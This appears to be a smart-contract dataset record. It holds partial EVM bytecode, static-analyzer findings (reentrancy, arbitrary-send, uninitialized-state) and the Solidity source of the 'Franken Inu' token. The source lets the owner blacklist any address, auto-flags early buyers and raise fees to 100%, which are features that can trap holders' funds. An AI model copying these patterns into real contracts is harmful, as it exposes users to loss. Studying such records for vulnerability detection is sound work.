fffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206d2c5574904889693fa7947d5371c287cad4fedec4e6410bb2735e57d2a7c3e164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,104
0x74f0033f93a9a9f4456d43a94f54a6ecd0e8ac57
/** *Submitted for verification at Etherscan.io on 2021-10-09 */ /* Franky is as spoopy as he is cute and he's looking to help everyone make some gains! 2% marketing 8% buyback 1 trillion supply */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } abstract contract IERC20Extented is IERC20 { function decimals() public view virtual returns (uint8); function name() public view virtual returns (string memory); function symbol() public view virtual returns (string memory); } contract FrankenInu is Context, IERC20, IERC20Extented, Ownable { using SafeMath for uint256; string private constant _name = "Franken Inu"; string private constant _symbol = "Franky"; uint8 private constant _decimals = 9; mapping(address => uint256) private balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _tFeeTotal; uint256 private _firstBlock; uint256 private _botBlocks; uint256 public _buybackFee = 80; uint256 private _previousBuybackFee = _buybackFee; uint256 public _marketingFee = 10; uint256 private _previousMarketingFee = _marketingFee; uint256 public _devFee = 10; uint256 private _previousDevFee = _devFee; uint256 public _marketingPercent = 20; uint256 public _buybackPercent = 80; mapping(address => bool) private bots; address payable private _marketingAddress = payable(0xc5181bdA608069bFE60B5B52D293aE84FA6db4C8); address payable private _buybackAddress = payable(0x193c29646F749ACb902932943D308605A9D767C0); IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; uint256 private _maxTxAmount; bool private tradingOpen = false; bool private inSwap = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); event PercentsUpdated(uint256 _marketingPercent, uint256 _buybackPercent); event FeesUpdated(uint256 _buybackFee, uint256 _marketingFee, uint256 _devFee); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); _maxTxAmount = _tTotal; // start off transaction limit at 100% of total supply balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_buybackAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() override public pure returns (string memory) { return _name; } function symbol() override public pure returns (string memory) { return _symbol; } function decimals() override public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function removeAllFee() private { if (_marketingFee == 0 && _buybackFee == 0 && _devFee == 0) return; _previousMarketingFee = _marketingFee; _previousBuybackFee = _buybackFee; _previousDevFee = _devFee; _marketingFee = 0; _buybackFee = 0; _devFee = 0; } function restoreAllFee() private { _marketingFee = _previousMarketingFee; _buybackFee = _previousBuybackFee; _devFee = _previousDevFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(tradingOpen); require(amount <= _maxTxAmount); if (block.timestamp <= _firstBlock) { require(amount <= _tTotal.div(1000)); } if (from == uniswapV2Pair && to != address(uniswapV2Router)) { if (block.timestamp <= _firstBlock.add(_botBlocks)) { bots[to] = true; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(!bots[to] && !bots[from]); if (contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee(); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount.mul(_marketingPercent).div(100)); _buybackAddress.transfer(amount.mul(_buybackPercent).div(100)); } function openTrading(uint256 botBlocks) external onlyOwner() { _firstBlock = block.timestamp; _botBlocks = botBlocks; tradingOpen = true; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private { if (!takeFee) removeAllFee(); (uint256 tTransferAmount, uint256 tBuyback, uint256 tMarketing, uint256 tDev) = _getValues(tAmount); balances[sender] = balances[sender].sub(tAmount); balances[recipient] = balances[recipient].add(tTransferAmount); _takeBuyback(tBuyback); _takeMarketing(tMarketing); _takeDev(tDev); emit Transfer(sender, recipient, tTransferAmount); } function _takeBuyback(uint256 tBuyback) private { balances[address(this)] = balances[address(this)].add(tBuyback); } function _takeMarketing(uint256 tMarketing) private { balances[address(this)] = balances[address(this)].add(tMarketing); } function _takeDev(uint256 tDev) private { balances[address(this)] = balances[address(this)].add(tDev); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { uint256 tBuyback = tAmount.mul(_buybackFee).div(1000); uint256 tMarketing = tAmount.mul(_marketingFee).div(1000); uint256 tDev = tAmount.mul(_devFee).div(1000); uint256 tTransferAmount = tAmount.sub(tBuyback).sub(tMarketing); tTransferAmount -= tDev; return (tTransferAmount, tBuyback, tMarketing, tDev); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function removeBot(address account) public onlyOwner() { bots[account] = false; } function addBot(address account) public onlyOwner() { bots[account] = true; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setPercents(uint256 marketingPercent, uint256 buybackPercent) external onlyOwner() { require(marketingPercent.add(buybackPercent) == 100, "Sum of percents must equal 100"); _marketingPercent = marketingPercent; _buybackPercent = buybackPercent; emit PercentsUpdated(_marketingPercent, _buybackPercent); } function setTaxes(uint256 marketingFee, uint256 buybackFee, uint256 devFee) external onlyOwner() { require(marketingFee.add(buybackFee).add(devFee) <= 1000, "Sum of sell fees must be less than 1000"); _marketingFee = marketingFee; _buybackFee = buybackFee; _devFee = devFee; _previousMarketingFee = _marketingFee; _previousBuybackFee = _buybackFee; _previousDevFee = _devFee; emit FeesUpdated(_marketingFee, _buybackFee, _devFee); } }
0x6080604052600436106101a05760003560e01c8063770d9907116100ec578063d16336491161008a578063e1d7eefd11610064578063e1d7eefd1461059d578063e9dae5ed146105c8578063ea2f0b37146105f1578063ffecf5161461061a576101a7565b8063d16336491461050e578063d543dbeb14610537578063dd62ed3e14610560576101a7565b8063a9059cbb116100c6578063a9059cbb14610466578063aa45026b146104a3578063b44a14b6146104ce578063c3c8cd80146104f7576101a7565b8063770d9907146103e55780638da5cb5b1461041057806395d89b411461043b576101a7565b8063313ce567116101595780635fecd926116101335780635fecd926146103515780636fc3eaec1461037a57806370a0823114610391578063715018a6146103ce576101a7565b8063313ce567146102d2578063437823ec146102fd57806349bd5a5e14610326576101a7565b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461021457806319de79ab1461023f57806322976e0d1461026a57806323b872dd14610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610643565b6040516101ce9190612bbb565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f9919061280b565b610680565b60405161020b9190612ba0565b60405180910390f35b34801561022057600080fd5b5061022961069e565b6040516102369190612d3d565b60405180910390f35b34801561024b57600080fd5b506102546106af565b6040516102619190612d3d565b60405180910390f35b34801561027657600080fd5b5061027f6106b5565b60405161028c9190612d3d565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b791906127bc565b6106bb565b6040516102c99190612ba0565b60405180910390f35b3480156102de57600080fd5b506102e7610794565b6040516102f49190612e12565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f919061272e565b61079d565b005b34801561033257600080fd5b5061033b61088d565b6040516103489190612b85565b60405180910390f35b34801561035d57600080fd5b506103786004803603810190610373919061272e565b6108b3565b005b34801561038657600080fd5b5061038f6109a3565b005b34801561039d57600080fd5b506103b860048036038101906103b3919061272e565b610a15565b6040516103c59190612d3d565b60405180910390f35b3480156103da57600080fd5b506103e3610a5e565b005b3480156103f157600080fd5b506103fa610bb1565b6040516104079190612d3d565b60405180910390f35b34801561041c57600080fd5b50610425610bb7565b6040516104329190612b85565b60405180910390f35b34801561044757600080fd5b50610450610be0565b60405161045d9190612bbb565b60405180910390f35b34801561047257600080fd5b5061048d6004803603810190610488919061280b565b610c1d565b60405161049a9190612ba0565b60405180910390f35b3480156104af57600080fd5b506104b8610c3b565b6040516104c59190612d3d565b60405180910390f35b3480156104da57600080fd5b506104f560048036038101906104f09190612870565b610c41565b005b34801561050357600080fd5b5061050c610d7a565b005b34801561051a57600080fd5b5061053560048036038101906105309190612847565b610df4565b005b34801561054357600080fd5b5061055e60048036038101906105599190612847565b610eb5565b005b34801561056c57600080fd5b5061058760048036038101906105829190612780565b610ffe565b6040516105949190612d3d565b60405180910390f35b3480156105a957600080fd5b506105b2611085565b6040516105bf9190612d3d565b60405180910390f35b3480156105d457600080fd5b506105ef60048036038101906105ea91906128ac565b61108b565b005b3480156105fd57600080fd5b506106186004803603810190610613919061272e565b6111ff565b005b34801561062657600080fd5b50610641600480360381019061063c919061272e565b6112ef565b005b60606040518060400160405280600b81526020017f4672616e6b656e20496e75000000000000000000000000000000000000000000815250905090565b600061069461068d6113df565b84846113e7565b6001905092915050565b6000683635c9adc5dea00000905090565b60085481565b600a5481565b60006106c88484846115b2565b610789846106d46113df565b6107848560405180606001604052806028815260200161339c60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061073a6113df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba39092919063ffffffff16565b6113e7565b600190509392505050565b60006009905090565b6107a56113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610832576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082990612c9d565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108bb6113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093f90612c9d565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109e46113df565b73ffffffffffffffffffffffffffffffffffffffff1614610a0457600080fd5b6000479050610a1281611c07565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a666113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea90612c9d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4672616e6b790000000000000000000000000000000000000000000000000000815250905090565b6000610c31610c2a6113df565b84846115b2565b6001905092915050565b600c5481565b610c496113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccd90612c9d565b60405180910390fd5b6064610ceb8284611d2a90919063ffffffff16565b14610d2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2290612cdd565b60405180910390fd5b81600e8190555080600f819055507f012f5df73148ec03a4ac44111fcf100a014ee232c9f1b328180ab5f3996821e5600e54600f54604051610d6e929190612db2565b60405180910390a15050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dbb6113df565b73ffffffffffffffffffffffffffffffffffffffff1614610ddb57600080fd5b6000610de630610a15565b9050610df181611d88565b50565b610dfc6113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8090612c9d565b60405180910390fd5b42600681905550806007819055506001601660006101000a81548160ff02191690831515021790555050565b610ebd6113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4190612c9d565b60405180910390fd5b60008111610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490612c3d565b60405180910390fd5b610fbc6064610fae83683635c9adc5dea0000061208290919063ffffffff16565b6120fd90919063ffffffff16565b6015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601554604051610ff39190612d3d565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b6110936113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111790612c9d565b60405180910390fd5b6103e86111488261113a8587611d2a90919063ffffffff16565b611d2a90919063ffffffff16565b1115611189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118090612c5d565b60405180910390fd5b82600a819055508160088190555080600c81905550600a54600b81905550600854600981905550600c54600d819055507fcf8a1e1d5f09cf3c97dbb653cd9a4d7aace9292fbc1bb8211febf2d400febbdd600a54600854600c546040516111f293929190612ddb565b60405180910390a1505050565b6112076113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611294576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128b90612c9d565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6112f76113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90612c9d565b60405180910390fd5b6001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144e90612d1d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612bfd565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a59190612d3d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611622576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161990612cfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168990612bdd565b60405180910390fd5b600081116116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc90612cbd565b60405180910390fd5b6116dd610bb7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561174b575061171b610bb7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ad857601660009054906101000a900460ff1661176957600080fd5b60155481111561177857600080fd5b60065442116117ac5761179f6103e8683635c9adc5dea000006120fd90919063ffffffff16565b8111156117ab57600080fd5b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118575750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118d357611873600754600654611d2a90919063ffffffff16565b42116118d2576001601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b60006118de30610a15565b9050601660019054906101000a900460ff1615801561194b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119a15750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f75750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ad657601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611aa05750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611aa957600080fd5b6000811115611abc57611abb81611d88565b5b60004790506000811115611ad457611ad347611c07565b5b505b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b7f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b8957600090505b611b9584848484612147565b611b9d612320565b50505050565b6000838311158290611beb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be29190612bbb565b60405180910390fd5b5060008385611bfa9190612f63565b9050809150509392505050565b60